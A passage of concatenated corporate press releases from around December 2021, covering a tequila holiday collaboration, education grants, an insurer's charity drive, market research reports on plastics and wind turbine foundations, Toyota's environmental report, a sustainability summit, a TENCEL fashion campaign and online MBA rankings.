glasses, an ice mold, a deck of playing cards, and a Bluetooth speaker, all incorporating custom designs from David that blend his iconic floral designs with Avion's signature agave. In addition, the drop comes in a beautifully designed wooden box along with a $200 gift card (tequila is not included). "I am excited to go into this holiday season celebrating a new collaboration with Tequila Avion. From the core of the agave plant, tequila is made much like authentic friendships," said David Flores. "Here's to a season of well-being, laughter, and showing appreciation for the things that can only get better with age." Avion and NTWRK teamed up to produce an interactive and engaging episode on their mobile app featuring David and a friend celebrating top shelf friendships while talking about the limited-edition kit. The episode showcases the two friends highlighting the various items included in the premium kit while reminiscing on good times from past holidays, all while sipping on a glass of Avion Reserva 44. The full episode can be found on the NTWRK mobile app. "As the brand that values authenticity, craft and celebrating everyday moments with friends, we are proud to partner with the trailblazing artist David Flores, who is known for his artistic authenticity," said Shannon Lovell, Brand Director for Tequila Avion. "With our limited-edition holiday drop, we're looking forward to continuing to be a part of top shelf friendships that age well with time, just like Avion." About Tequila Avion Born from agave grown at the highest elevations in Jesus Maria, Jalisco, and forged through the vibrancy of modern Mexico, Tequila Avion is an award-winning tequila that defines a new standard of quality and taste. Produced with fifth generation growers from among the finest Blue Weber agave, the ultra-premium tequila's distinct flavors are achieved through a combination of slow-roasting at lower temperatures to protect the natural flavors of the agave and an ultra-slow filtration process which creates an unusually smooth taste profile. Tequila Avion is available in Silver, Reposado, Anejo, and Avion Reserva 44. Visit TequilaAvion.com for more information and follow @TequilaAvion on Instagram and Twitter for the latest updates, inspiration, and more. Please drink Avion responsibly. Tequila Avion 40% Alc./Vol (c) 2019 imported by Tequila Avion, New York, NY. About Pernod Ricard USA Pernod Ricard USA is the premium spirits and wine company in the U.S., and the largest subsidiary of Paris, France-based Pernod Ricard SA., the world's second-largest spirits and wine company. Pernod Ricard employs approximately 19,000 people worldwide, is listed on Euronext (Ticker: RI) and is part of the CAC 40 index. The company's leading spirits include such prestigious brands as Absolut Vodka, Avion Tequila, Chivas Regal Scotch Whisky, The Glenlivet Single Malt Scotch Whisky, Jameson Irish Whiskey, Kahlua Liqueur, Malibu, Martell Cognac, Olmeca Altos Tequila , Beefeater Gin, Del Maguey Single Village Mezcal, Monkey 47 Gin, Plymouth Gin, Seagram's Extra Dry Gin, Malfy Gin, Hiram Walker Liqueurs, Midleton Irish Whiskey, Powers Irish Whiskey, Redbreast Irish Whiskey, Aberlour Single Malt Scotch Whisky; Lillet; Smithworks Vodka, Jefferson's Bourbon, Smooth Ambler Whiskey, Rabbit Hole Whiskey, Pernod and Ricard; such superior wines as Jacob's Creek, Kenwood Vineyards, Campo Viejo and Brancott Estate; and such exquisite champagnes and sparkling wines as Perrier-Jouet Champagne, G.H. Mumm Champagne and Mumm Napa sparkling wines. About David Flores The California native was born to the Central Valley and raised submerged in the American commercialization of the early 1970's. Flores quickly grew to find exceptional drive and talent among the exploding skateboard scene of the 1990's as lead artist of industry giants Shorty's Skateboards, Santa Barbara and Deluxe, San Francisco. Among the thousands of graphics he produced, Flores' signature style emerged. The artist found immense success and choose to leave the confines of the art department for his own studio. The following 20 years Flores has demonstrated mastery across mediums: graphic design, fine art, acrylic on canvas, machined aluminum, public murals, large scale sculpture, and corporate collaborations. The New York Museum of Modern Art (MoMA) acquired the artwork of David Flores in 2006, where it resides in the museums permanent collection. Flores' instantly recognizable style has led to a feeding frenzy for corporate giants including Disney, Oakley, The Olympic Games, Medicom, Stussy, Nike, The New York Racing Association, The Nelson Mandela Foundation, Equinox, The Mexican Consulate, The Los Angeles Memorial Coliseum, and The Los Angeles Dodgers. About NTWRK Named one of Fast Company's "Brands That Matter" and "Most Innovative Companies" as well as Ad Age's "Hottest Brands," NTWRK is the premier North American livestream shopping platform where "entertainment meets e-commerce" (Forbes). Built on a digitally-innovative model of daily product drops, livestream shopping festivals, and exclusive partnerships with world-renowned brands and creators, NTWRK has fostered an organic global community of artists and fans since its launch in 2018. Under the motto "Shop, Watch, Connect" NTWRK provides a curated digital shopping experience that resonates with Gen-Z and millennial consumers. SOURCE Pernod Ricard USA After nearly two years of disrupted learning, these grants totaling $10.135 million will help validate and measure teaching practices that foster student well-being and belonging, taking into account the unique needs of each community. Research shows that inclusive classrooms where educators have high expectations for students and acknowledge and celebrate students' identities and cultural backgrounds promote achievement and attachment to school for all students. "In order for learning and growth to happen in classrooms, all students first need to feel safe, seen and believed in as learners," said Sandra Liu Huang, head of education at the Chan Zuckerberg Initiative. "Across the country, educators and community-based organizations are pioneering teaching practices that engage students more deeply and with more differentiation to prepare them to reach their full potential." Understanding if classrooms are achieving the whole child outcomes they intend including academic and personal growth is the critical next step in bringing these practices to more schools. "We've never been given the opportunity, at the level and scope that CZI is supporting, to gather evidence of students' educational progress based on our traditional processes of assessment," says Joyce McFarland, Nez Perce Education Department Manager. "What we are proposing with the use of storytelling and multi-generational relationships is not new, but we are just remembering how our young people find their purpose in their tribal family and community." The grants announced today will help teachers and communitiesusing innovative practices to engage studentsvalidate the impact they're seeing, ensuring the latest research is making its way into the classroom. CZI is committed to funding the following: Assessment for Learning Project , a project by the Tides Center, ( $2.71 million ) to support its national network of educators, organizers, system leaders, and student activists who are working together to reimagine the role of assessment for learning, agency, and equity. , a project by the Tides Center, ( ) to support its national network of educators, organizers, system leaders, and student activists who are working together to reimagine the role of assessment for learning, agency, and equity. Black Teacher Collaborative ( $750K ) to engage students, families, and educators in developing a research plan to evaluate teaching practices that foster racially affirming learning environments for Black children. BTC will also launch a fellowship program for academics conducting research on Black Liberatory Pedagogy. ( ) to engage students, families, and educators in developing a research plan to evaluate teaching practices that foster racially affirming learning environments for Black children. BTC will also launch a fellowship program for academics conducting research on Black Liberatory Pedagogy. Coalition of Schools Educating Boys of Color (COSEBOC) ( $1.5 million ) as they engage youth, families, and educators in research and evaluation of COSEBOC's professional learning and youth development programs that foster the social, emotional, cultural and academic growth of boys and young men of color. ( ) as they engage youth, families, and educators in research and evaluation of COSEBOC's professional learning and youth development programs that foster the social, emotional, cultural and academic growth of boys and young men of color. Flourish Agenda ( $1.8 million ) to develop new research and evaluation tools to measure the impact of healing centered strategies with organizations serving youth of color. This three-year project will leverage partnerships with school districts, youth development agencies, and universities to better understand the process of collective healing from racial trauma. ( ) to develop new research and evaluation tools to measure the impact of healing centered strategies with organizations serving youth of color. This three-year project will leverage partnerships with school districts, youth development agencies, and universities to better understand the process of collective healing from racial trauma. The Nez Perce Tribal Education Department ( $650K ) to develop program evaluation approaches grounded in the traditional values of relationships and storytelling. From talking circles to the Nez Perce traditional practice of memory strings, this project will pilot new ways to collect evidence from students, parents, teachers, and grandparents about the impact of culturally relevant instruction, curriculum, family engagement, leadership, and school environment. ( ) to develop program evaluation approaches grounded in the traditional values of relationships and storytelling. From talking circles to the Nez Perce traditional practice of memory strings, this project will pilot new ways to collect evidence from students, parents, teachers, and grandparents about the impact of culturally relevant instruction, curriculum, family engagement, leadership, and school environment. The Pennsylvania State University and the Tucson Unified School District ( $125K ) to support continued collaboration between the district and Dr. Francesca Lopez , an expert in asset-based pedagogy. This project will develop a research plan to measure the impact of culturally responsive classrooms on student belonging, identity development, academic learning, and other outcomes. and the ( ) to support continued collaboration between the district and Dr. , an expert in asset-based pedagogy. This project will develop a research plan to measure the impact of culturally responsive classrooms on student belonging, identity development, academic learning, and other outcomes. Village of Wisdom (VOW) ( $2 million ) to support community--driven research co-led by Black parents to develop tools and resources that help educators create ideal learning environments for children of color. VOW's Black Genius Framework, which codifies elements of culturally affirming learning environments that allow Black students to thrive, will ground this research. ( ) to support community--driven research co-led by Black parents to develop tools and resources that help educators create ideal learning environments for children of color. VOW's Black Genius Framework, which codifies elements of culturally affirming learning environments that allow Black students to thrive, will ground this research. YR Media ( $600K ) to continue youth-led reporting on well-being in schools and develop free academic resources that incorporate relationships, a sense of belonging, and cultural affirmation in partnership with educators and youth. YR Media will also conduct research on the impact of youth reporting and youth-made media in classrooms. CZI's education work is focused on ensuring that every student can get an education that's tailored to their individual needs and supports every aspect of their development. CZI envisions a country where racial and economic demographics are not predictive of student outcomes and every child enters adulthood with the knowledge, skills, habits and agency they need to realize their full potential. For more information about how CZI and our grant partners are supporting student well-being, visit chanzuckerberg.com/education/well-being . About the Chan Zuckerberg Initiative The Chan Zuckerberg Initiative was founded in 2015 to help solve some of society's toughest challenges from eradicating disease and improving education, to addressing the needs of our local communities. Our mission is to build a more inclusive, just, and healthy future for everyone. For more information, please visit www.chanzuckerberg.com . SOURCE Chan Zuckerberg Initiative WORCESTER, Mass., Dec. 15, 2021 /PRNewswire/ -- The Hanover Insurance Group, Inc. (NYSE: THG) today announced the results of its annual employee giving campaign, raising $1.5 million for United Way and other nonprofit organizations across the country. More than 3,500 employees, representing 82% of the company's workforce, took part in the campaign, raising more than $1 million. In total, the campaign raised $1.5 million, including a matching contribution from The Hanover Insurance Group Foundation. The campaign benefits countless individuals and families in need, providing support and services through nonprofit organizations across the country. Throughout 2022, donations will be paid out to 111 United Way chapters and more than 1,500 nonprofits. The Hanover has held this annual campaign to solicit pledges for United Way agencies and nonprofits across the country for more than 70 years. The company's United Way campaign has one of the highest participation rates in the world among companies that are part of the United Way's Global Corporate Leadership program, and has a participation rate five times the national average. "Throughout the year, our company and our employees are there when it matters most, helping our friends and neighbors in need," said John C. Roche, president and chief executive officer at The Hanover. "I am incredibly proud of our employees, who continue to recognize the important role nonprofits are playing in our communities, especially during the ongoing pandemic, and generously stepped up to help support so many individuals and families in communities across the country." "We are grateful for the long-time partnership of The Hanover Insurance Group and its employees, who have supported our communities with their annual campaign," said Angela F. Williams, president and CEO of United Way Worldwide. "The employee and corporate participation rates for The Hanover are certainly impressive; and it's this generosity that enables community partners and United Way to continue to provide vital services to individuals everywhere." About The Hanover Insurance Group Foundation The Hanover Insurance Group Foundation, Inc. is the charitable giving arm of The Hanover Insurance Group. The foundation's mission is to enact meaningful and positive change in the lives of underserved children and youth and empower the difference makers who support them. The Hanover Insurance Group Foundation provides program grants to nonprofit organizations that work collaboratively in their communities, offering new and innovative programs that address the barriers preventing children and youth from realizing their full potential. About The Hanover The Hanover Insurance Group, Inc. is the holding company for several property and casualty insurance companies, which together constitute one of the largest insurance businesses in the United States. The company provides exceptional insurance solutions through a select group of independent agents and brokers. Together with its agent partners, The Hanover offers standard and specialized insurance protection for small and mid-sized businesses, as well as for homes, automobiles, and other personal items. For more information, please visit hanover.com. SOURCE The Hanover Insurance Group, Inc. Injection molded plastics refer to plastic shapes or products that are created through plastic injection molding. High usage of these plastics in varied industry verticals has played a key role in market growth. Rising emphasis on improving vehicle performance by replacing metal with plastics is primed to fuel product adoption in the automotive industry in the coming years. Furthermore, stringent regulations governing the use of bio-based products aim to reduce reliance on crude oil in key regions, which is estimated to create huge growth opportunities in the market over the review timeline. Request for Sample Report: https://www.gminsights.com/request-sample/detail/416 Polypropylene offers several benefits, such as food grade availability, low cost, excellent water resistance, and superior chemical and impact resistance, which has prompted manufacturers to include it in the production of household products and automobiles. Polypropylene also finds application in making bottles and containers for food & beverages. Driven by the rapid development of automotive, consumer electronics and appliances, and food & beverage sectors, the polypropylene raw material segment is expected to grow at a CAGR of approximately 5% through the forecast period. Meanwhile, the injection molded plastics market from the HDPE raw material segment was valued at USD 45 billion in 2020 and is anticipated to see considerable growth through 2027. HDPE is a lightweight material and possesses various advantages like good electrical insulation, high strength, chemical resistance, and impermeability, which is set to fuel product uptake in the manufacturing of housewares and consumable goods over the following years. Key reasons for injection molded plastics market growth: Growing product uptake in automotive industry. Increased product prominence in construction sector. Prevalent application in manufacturing of housewares. High adoption in consumer appliances and electronics. Surging utilization in medical products during COVID-19. 2027 forecasts show 'consumables & electronics' segment retaining its dominance: In terms of application, the consumables & electronics segment accounts for a significant share of the market. Injection molded plastics are utilized in consumer appliances and electronics products on account of their light weight, high durability, and excellent insulation properties. They can be fabricated in any size and shape with inexpensive technology and minimal waste. These plastics are also widely used in laptops, gadgets, clocks, mobile phones, and calculators, among other devices. Surging expenditure on consumer electronics, particularly in emerging nations, such as Asia Pacific, is likely to bolster the Injection molded plastics market share in the coming years. Request for the customization of this report: https://www.gminsights.com/roc/416 Europe to maintain top status in terms of revenue: The Europe injection molded plastics market is estimated to exceed a valuation of USD 85 billion by the end of 2027, progressing at approximately 4% CAGR over the assessment timeframe. Owing to its useful properties, such as toughness, durability, cost efficiency, and impact strength, plastic is speculated to be widely applied in the European market for injection molded plastics. Moreover, as plastic can be reused, converted, and recycled, it generates low waste in compliance with EU directives, which is slated to foster regional market outlook through the forecast period. Additionally, the advent of green building technology in Europe is foreseen to drive the adoption of bio-based injection molded plastics in the forthcoming years. Impact of COVID-19 pandemic on injection molded plastics market: The onset of COVID-19 disrupted the global supply chain, however, the injection molded plastics market progressed at a moderate pace by virtue of widespread applicability of these plastics in varied industries. Notably, soaring demand for antimicrobial and antiviral properties in various products among consumers created massive growth potential for industry players. In addition, companies also shifted their focus on making products like personal protective equipment (PPE) and other medical equipment to accommodate the increasing demand for these products in the healthcare sector, which has been favorable for industry uptake during the pandemic. Leading market players: Some key players operating in the global injection molded plastics industry include BASF, ExxonMobil, Dow Chemical, SABIC, INEOS, LyondellBasell Industries, and others. They have incorporated several strategies including partnership, expansion, collaboration, joint ventures, and others to heighten their stand in the industry. About Global Market Insights Inc. Global Market Insights Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider. Offering syndicated and custom research reports, growth consulting and business intelligence services, Global Market Insights Inc. aims to help clients with penetrative insights and actionable market data that aid in strategic decision making. Contact Us: Arun Hegde Corporate Sales, USA Global Market Insights Inc. Phone: +1-302-846-7766 Toll Free: 1-888-689-0688 Email: [email protected] Web: https://www.gminsights.com SOURCE Global Market Insights Inc. Expanding vehicle electrification Reducing carbon emissions Encouraging conservation through water stewardship Reusing materials Protecting biodiversity We demonstrate respect for the planet by managing priority issues specic to the United States, Canada and Mexico. We also engage in outreach by promoting awareness, developing strategic partnerships and sharing know-how with business partners and other stakeholders to create positive change. These efforts are anchored to the Toyota Environmental Challenge 2050*. To help us achieve the Challenge 2050, we develop five-year environmental action plans (EAP). Our 2021 report marks the end of the Sixth EAP and the beginning of the Seventh EAP. Highlights from this year's report include: As the next step in our electrification journey, Toyota announced the Toyota bZ4X SUV, the first of a global series of battery electric vehicles to be introduced under the "Toyota bZ" brand umbrella. The bZ4X supports our commitment to increasing U.S. sales of electrified vehicles to 70% by 2030. Toyota entered into a power purchase agreement with Clearway Energy Group to purchase electricity from a 115 MW wind farm in West Virginia . The purchase of renewable electricity supports the company's global commitment to making our manufacturing plants carbon neutral by 2035. . The purchase of renewable electricity supports the company's global commitment to making our manufacturing plants carbon neutral by 2035. Toyota's assembly plant in Indiana is saving an estimated 54 million gallons of fresh water per year by reusing wastewater during the paint pretreat process. is saving an estimated 54 million gallons of fresh water per year by reusing wastewater during the paint pretreat process. We recycled 93.2% of all waste in 2020 and disposed only 1.5% in landfills. We planted 9,000 trees and shrubs to commemorate the Tokyo Olympics. When they reach maturity in about 10 years, they are expected to sequester 200,000 pounds of carbon annually. Toyota provided $150,000 to the World Wildlife Fund to construct 23 miles of fencing for the Wolakota Buffalo Range, which will have 1,500 bison and be North America's largest Native American owned and managed bison herd. To view the full report, visit Toyota.com/USA/Environment. About Toyota Toyota (NYSE:TM) has been a part of the cultural fabric in North America for more than 60 years, and is committed to advancing sustainable, next-generation mobility through our Toyota and Lexus brands plus our 1,800 dealerships. Toyota has created a tremendous value chain and directly employs more than 47,000 in North America. The company has contributed world-class design, engineering, and assembly of more than 40 million cars and trucks at our 15 manufacturing plants, including our joint venture in Alabama which began production in 2021. Through its Start Your Impossible campaign, Toyota highlights the way it partners with community, civic, academic and governmental organizations to address our society's most pressing mobility challenges. We believe that when people are free to move, anything is possible. For more information about Toyota, visit www.toyotanewsroom.com. Media Contact: Ed Hellwig 469-292-1165 [email protected] SOURCE Toyota Motor North America Related Links www.toyota.com Topics including Equity and Inclusivity, Climate Change and Carbon Neutral Economy were raised to create an effective cross-pollination of ideas between organisations. Microsoft, Hilton Worldwide, Boeing, Siemens Energy and Parfum Dior were among the renowned and influential companies that 140 business delegates represented in the discussions. The full list of participating companies is available on the Vision 2045 Summit Website . TBD spearheaded the collaborative efforts to protect the future ecology by working in integration with 'Make It Wild' to plant a tree per person present at the Summit. This was aligned with previous campaigns run by TBD that highlighted companies that have gone beyond their standard activities to pursue a greener society for the next generation. In this regard, Paolo Zanini, TBD Founder and CEO, said: "We couldn't call upon others to be better without typifying it ourselves. Because real progress is made together, in collaboration". This was just one of TBD's endeavours to bring to fruition the fairest and most environmentally respectful future for all. Already the company looks forward towards COP27, when the next Vision 2045 Summit - Egypt , will be hosted. The event will undoubtedly build upon the relationships and progress made from Vision 2045 Edinburgh and expand to connect yet more like minded organisations seeking to have a positive impact. Companies featured in this launch: Atlassian, AXA Investment Managers, Biobest Group, CIBC, Compass Group, City Of Tampere, Darling Ingredients, Petra Group, The Boeing Company, Schwarz Gruppe (Lidl, Kaufland, PreZero & Schwarz Produktion), SGB-SMIT Group, Siemens Energy, Stadler Rail, Swiss Post, United Overseas Bank Limited, Wahl Clipper Corporation. About TBD Media Group: TBD Media Group is an international, purpose-driven, media developer that helps companies, organisations and governments tell their brand stories in a human and direct way. Learn more at https://www.tbdmediagroup.com/ Media Contact: Jenna-Leigh Soobramoney Head of Marketing TBD Media Group [email protected] SOURCE TBD Media Group DUBLIN, Dec. 15, 2021 /PRNewswire/ -- The "Wind Turbine Foundation Market Forecast to 2028 - COVID-19 Impact and Global Analysis by Type (Mono-Pile, Jacket-Pile, Gravity, Tripod, Suction, Raft, Pile, Well Foundation, Rock & Anchor, and Others); Application (Onshore and Offshore)" report has been added to ResearchAndMarkets.com's offering. The global wind turbine foundation market is expected to grow from US$ 6,958.35 million in 2021 to US$ 15,868.94 million by 2028; it is estimated to grow at a CAGR of 12.5% during 2021-2028. Continuous rise in the global population and disposable income in developing countries are driving energy consumption. To meet the energy needs, energy sources such as fossil fuels, nuclear energy, and renewable energy are being utilized in various quantities. The increased amount of renewable energy sources in the global energy mix has spurred industry expansion, resulting in high wind towers. However, the demand for increased power generation and improved development activities, in most countries are focusing on providing inexpensive, dependable, and secure energy, which is projected to boost the expansion of the wind turbine foundation market. The World Bank Group has unveiled a new program to help developing countries adopt offshore wind energy more quickly. In association with the International Finance Corporation (IFC), the group will support emerging nations in assessing their offshore wind potential by aiding technical assistance in developing a growing pipeline of projects that are worth investment. China has more than 1,000 GW of technical potential for offshore wind due to its 18,000-kilometer-long coastline. State-owned energy businesses are in charge of the majority of projects. In 2019, European corporations, Electricite de France (EDF) and Equinor entered the market via collaborations with CHN energy and SPIC. Jiangsu Zhugensha H1 Offshore Wind Farma US$ 600 million project, built on China's first foreign-backed wind farm, was completed in December 2019. EDF and China Energy Investment Corporation collaborated on the first project-the 300 MW Dongtai IV wind farm. Phase 2, dubbed Dongtai V, will add 200 MW of power to the Dongtai in Jiangsu province. Further, by 2040, Japan plans to construct 4 GW of capacity, to account for 7% of total power generation in that year. Japan's Akita Noshiro Offshore Wind Farm Project "The Akita Offshore Wind Farm Corporation" is constructing a 54.6 MW wind farm in Akita Port. MHI Vestas has been selected as the manufacturer of the 13 turbines for this project. Another 20 MHI Vestas turbines will be used in the nearby project in Noshiro Port. Commercial operations would commence in 2022, with 130,000 houses being served. Thus, the quickly expanding wind energy installation capacity and falling wind turbine prices worldwide are expected to propel the global wind turbine foundation market forward during the forecast period. The wind turbine foundation market is segmented on the bases of type, application, and geography. Based on type, the market is segmented into mono-pile, jacket-pile, gravity, tripod, suction, raft, pile, well foundation, rock and anchor, and others. The gravity segment represented the largest share of the overall market in 2020. Based on application, the wind turbine foundation market is segmented into onshore and offshore. In 2020, the onshore segment accounted for the substantial share of the market. On the basis of geography, the wind turbine foundation market is broadly segmented into North America, Europe, Asia Pacific (APAC), the Middle East & Africa (MEA), and South America (SAM). In 2020, Europe accounted for a significant share of the market. The COVID-19 pandemic in Europe has had a diverse impact on various nations, since only a few nations have seen an increase in the number of cases, consequently imposing stringent, long-term lockdown or social isolation measures. However, Western European nations such as Germany, France, Russia, and the UK witnessed a only a slight decline in their growth activities owing to their excellent healthcare systems. The governments of these countries have invested significant resources in improving the efficiency and efficacy of the detection and treatment of COVID-19. Following the relaxation of limitations, all wind turbine and component manufacturing plants in Europe are now open. To ensure full compliance with regulatory requirements, sanitary measures are reinforced within locations. As a result, the European wind turbine foundation market is expected to grow significantly in the coming years. A few major players operating in the global wind turbine foundation market are Fugro; Ramboll Group A/S; Iberdrola, S.A.; BW Ideol; Peikko Group; EEW GROUP; Bladt Industries A/S; PRINCIPLE POWER, INC.; Mammoet; and SIF GROUP. Reasons to Buy Save and reduce time carrying out entry-level research by identifying the growth, size, leading players and segments in the global wind turbine foundation market. Highlights key business priorities in order to assist companies to realign their business strategies. The key findings and recommendations highlight crucial progressive industry trends in the global wind turbine foundation market, thereby allowing players across the value chain to develop effective long-term strategies. Develop/modify business expansion plans by using substantial growth offering developed and emerging markets. Scrutinize in-depth global market trends and outlook coupled with the factors driving the market, as well as those hindering it. Enhance the decision-making process by understanding the strategies that underpin commercial interest with respect to client products, segmentation, pricing and distribution. Key Topics Covered: 1. Introduction 2. Key Takeaways 3. Research Methodology 4. Wind Turbine Foundation Market Landscape 4.1 Market Overview 4.2 PEST Analysis 4.2.1 North America 4.2.2 Europe 4.2.3 APAC 4.2.4 MEA 4.2.5 SAM 4.3 Expert Opinions 5. Wind Turbine Foundation Market - Key Market Dynamics 5.1 Market Drivers 5.1.1 Increasing Deployment of Offshore Wind Farms 5.1.2 Rising Emphasis on Renewable Energy 5.2 Market Restraints 5.2.1 High Cost Required for Wind Turbine Foundation 5.3 Market Opportunities 5.3.1 Growing Demand in Developing Countries 5.4 Future Trends 5.4.1 Next-Generation Wind Turbines 5.5 Impact Analysis of Drivers and Restraints 6. Wind Turbine Foundation - Global Market Analysis 6.1 Global Wind Turbine Foundation Market Overview 6.2 Global Wind Turbine Foundation Market Revenue Forecast and Analysis 6.3 Market Positioning - Five Key Players 7. Wind Turbine Foundation Market - By Type 7.1 Overview 7.2 Wind Turbine Foundation Market, By Type (2020 and 2028) 7.3 Mono-Pile 7.3.1 Overview 7.3.2 Mono-Pile: Wind Turbine Foundation Market - Revenue and Forecast to 2028 (US$ Million) 7.4 Jacket-Pile 7.4.1 Overview 7.4.2 Jacket-Pile: Wind Turbine Foundation Market - Revenue and Forecast to 2028 (US$ Million) 7.5 Gravity 7.5.1 Overview 7.5.2 Gravity: Wind Turbine Foundation Market - Revenue and Forecast to 2028 (US$ Million) 7.6 Tripod 7.6.1 Overview 7.6.2 Tripod: Wind Turbine Foundation Market - Revenue and Forecast to 2028 (US$ Million) 7.7 Suction 7.7.1 Overview 7.7.2 Suction: Wind Turbine Foundation Market - Revenue and Forecast to 2028 (US$ Million) 7.8 Raft 7.8.1 Overview 7.8.2 Raft: Wind Turbine Foundation Market - Revenue and Forecast to 2028 (US$ Million) 7.9 Pile 7.9.1 Overview 7.9.2 Pile: Wind Turbine Foundation Market - Revenue and Forecast to 2028 (US$ Million) 7.10 Well Foundation 7.10.1 Overview 7.10.2 Well Foundation: Wind Turbine Foundation Market - Revenue and Forecast to 2028 (US$ Million) 7.11 Rock and Anchor 7.11.1 Overview 7.11.2 Rock and Anchor: Wind Turbine Foundation Market - Revenue and Forecast to 2028 (US$ Million) 7.12 Others 7.12.1 Overview 7.12.2 Others: Wind Turbine Foundation Market - Revenue and Forecast to 2028 (US$ Million) 8. Wind Turbine Foundation Market - By Application 8.1 Overview 8.2 Wind Turbine Foundation Market, by Application (2020 and 2028) 8.3 Onshore 8.3.1 Overview 8.3.2 Onshore: Wind Turbine Foundation Market - Revenue and Forecast to 2028 (US$ Million) 8.4 Offshore 8.4.1 Overview 8.4.2 Offshore: Wind Turbine Foundation Market - Revenue and Forecast to 2028 (US$ Million) 9. Wind Turbine Foundation Market - Geographic Analysis 10. Wind Turbine Foundation Market - COVID-19 Impact Analysis 10.1 Overview 10.2 North America 10.3 Europe 10.4 Asia Pacific 10.5 Middle East and Africa 10.6 South America 11. Industry Landscape 11.1 Merger and Acquisition 11.2 New Development 12. Company Profiles 12.1 Fugro 12.1.1 Key Facts 12.1.2 Business Description 12.1.3 Products and Services 12.1.4 Financial Overview 12.1.5 SWOT Analysis 12.1.6 Key Developments 12.2 Ramboll Group A/S 12.2.1 Key Facts 12.2.2 Business Description 12.2.3 Products and Services 12.2.4 Financial Overview 12.2.5 SWOT Analysis 12.2.6 Key Developments 12.3 Iberdrola, S.A. 12.3.1 Key Facts 12.3.2 Business Description 12.3.3 Products and Services 12.3.4 Financial Overview 12.3.5 SWOT Analysis 12.3.6 Key Developments 12.4 BW Ideol 12.4.1 Key Facts 12.4.2 Business Description 12.4.3 Products and Services 12.4.4 Financial Overview 12.4.5 SWOT Analysis 12.4.6 Key Developments 12.5 Peikko Group 12.5.1 Key Facts 12.5.2 Business Description 12.5.3 Products and Services 12.5.4 Financial Overview 12.5.5 SWOT Analysis 12.5.6 Key Developments 12.6 EEW GROUP 12.6.1 Key Facts 12.6.2 Business Description 12.6.3 Products and Services 12.6.4 Financial Overview 12.6.5 SWOT Analysis 12.6.6 Key Developments 12.7 Bladt Industries A/S 12.7.1 Key Facts 12.7.2 Business Description 12.7.3 Products and Services 12.7.4 Financial Overview 12.7.5 SWOT Analysis 12.7.6 Key Developments 12.8 PRINCIPLE POWER, INC. 12.8.1 Key Facts 12.8.2 Business Description 12.8.3 Products and Services 12.8.4 Financial Overview 12.8.5 SWOT Analysis 12.8.6 Key Developments 12.9 Mammoet 12.9.1 Key Facts 12.9.2 Business Description 12.9.3 Products and Services 12.9.4 Financial Overview 12.9.5 SWOT Analysis 12.9.6 Key Developments 12.10 SIF GROUP 12.10.1 Key Facts 12.10.2 Business Description 12.10.3 Products and Services 12.10.4 Financial Overview 12.10.5 SWOT Analysis 12.10.6 Key Developments 13. Appendix For more information about this report visit https://www.researchandmarkets.com/r/59g991 Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1904 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com Over 40 brands, influencers and NGO s p artnered with TENCEL brand's #MakeItFeelRight movement to generate more than 7,500 consumer pledges to date artnered with TENCEL brand's #MakeItFeelRight movement to generate more than 7,500 consumer pledges to date Each pledge will contribute to global reforestation efforts to help save the planet LENZING, Austria, Dec. 14, 2021 /PRNewswire/ -- According to the UN, the fashion industry is responsible for 8-10% of global carbon emissions. Fast fashion has only exacerbated the problem as consumers are increasingly purchasing clothes with reduced shelf lives. The world is striving to achieve net zero carbon, but the reality is that fashion brands simply aren't doing enough. In response to growing climate concerns, TENCEL brand revitalized the #MakeItFeelRight campaign to raise awareness and inspire action to make a change. By pledging to #MakeItFeelRight, consumers can do their part to drive the industry toward a more sustainable future and contribute to the reforestation effort. New faces, new places and more ways to get involved The TENCEL brand's game changing #MakeItFeelRight campaign has hit new milestones and celebrates exciting partnerships with more influencers, brands and NGOs around the world. With the help of sustainable influencers like Xenia Adonts, Lily Cole, Chen Ai Ling and brands including Boyish, Reformation and Lavender Hill, the movement has planted thousands of trees to combat carbon emissions from the fashion industry. The TENCEL brand has also begun an exciting partnership with renowned artist, Bodil Jane to create unique artwork for the campaign. These empowering pieces were used on the campaign's website and are a tribute to those who have pledged to #MakeItFeelRight. Gram, jam and show off your fashion The TENCEL brand has created fun ways to get involved with an exclusive Instagram filter and gift card giveaways from the movement's brand partners. The movement has already given away thousands of dollars to lucky people who have pledged. "We could not be happier to endorse such an exciting, timely and effective movement. As an environmentally friendly brand, Boyish has been working with TENCEL for several years and values the brand's similar principles and stalwart approach to sustainability. The industry has a long way to go in combatting waste and fast fashion, but with movements like #MakeItFeelRight, people are finally empowered to take action and choose brands that are caring for the planet," said Jordan Nordarse, Founder and CEO of Boyish. "Carbon emissions are a global problem and as such must have global solutions. As a partner of the #MakeItFeelRight campaign we strongly believe that TENCEL's sustainability initiatives, which are enabled by brands and driven by consumers, are a great way to make a positive impact through reforestation. We encourage more brands to get involved and do their part," said Diana Chaplin of One Tree Planted. Plant your roots The movement has already planted more than 7,500 trees, however, it's not too late to still pledge. Together with One Tree Planted, TENCEL is providing a pledge certificate to everyone who commits to the cause and will plant a tree in their name. "We have a collective duty to be more responsible with our sustainable fashion choices. Our habits and the way we treat textiles directly impacts the planet. The TENCEL brand has already achieved a significant milestone with thousands of trees planted and I would like to acknowledge just how much this campaign has achieved in a short time. Pledge, pledge pledge! It's an amazing way to contribute to a more sustainable planet and create something impactful that will last for generations," said Harold Weghorst, Global Vice President Marketing & Branding at Lenzing AG. IMAGES SOURCE TENCEL CHICAGO, Dec. 15, 2021 /PRNewswire/ -- Two of Everspring's partners, Santa Clara University's Leavey School of Business, and William & Mary's Raymond A. Mason School of Business, have been recognized for achieving top spots in the Poets&Quants rankings of The Best Online MBA Programs of 2022. Poets&Quants focuses its annual rankings on three core measures: quality of incoming students, academic experiences offered by the MBA program and career outcomes of graduates. In addition to securing top spots in the overall ranking, both programs ranked among the top 5 in the academic experiences and career outcomes categories: Santa Clara University's Leavey School of Business online MBA earned an overall No. 3 ranking, with a No. 1 spot for career outcomes. Leavey School of Business online MBA earned an overall No. 3 ranking, with a No. 1 spot for career outcomes. William & Mary's Mason School of Business online MBA garnered a No. 11 overall ranking, No. 2 in academic experience and No. 4 in career outcomes. "When we design programs for a highly competitive market like an MBA, we know that the biggest challenge and the greatest reward is in defining those unique program qualities that ignite student interest," said Beth Hollenberg, president of Everspring. "These programs continue to be successful because the ethos driving them is so evident, from the design of the curriculum to the culture of student engagement, 